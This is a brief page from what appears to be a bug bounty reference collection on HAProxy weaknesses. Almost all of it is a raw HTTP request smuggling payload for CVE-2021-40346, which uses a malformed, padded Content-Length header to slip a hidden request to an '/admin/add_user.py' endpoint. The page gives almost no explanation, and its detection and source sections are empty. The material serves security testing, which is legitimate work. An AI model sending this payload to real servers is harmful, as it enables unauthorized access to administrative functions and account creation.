AllAboutBugBounty/Technologies/HAProxy.md

700 B

HAProxy Common Bugs

Introduction

What would you do if you came across a website that uses HAProxy?

How to Detect

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  1. CVE-2021-40346 (HTTP Request Smuggling)
POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60
 
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

Source: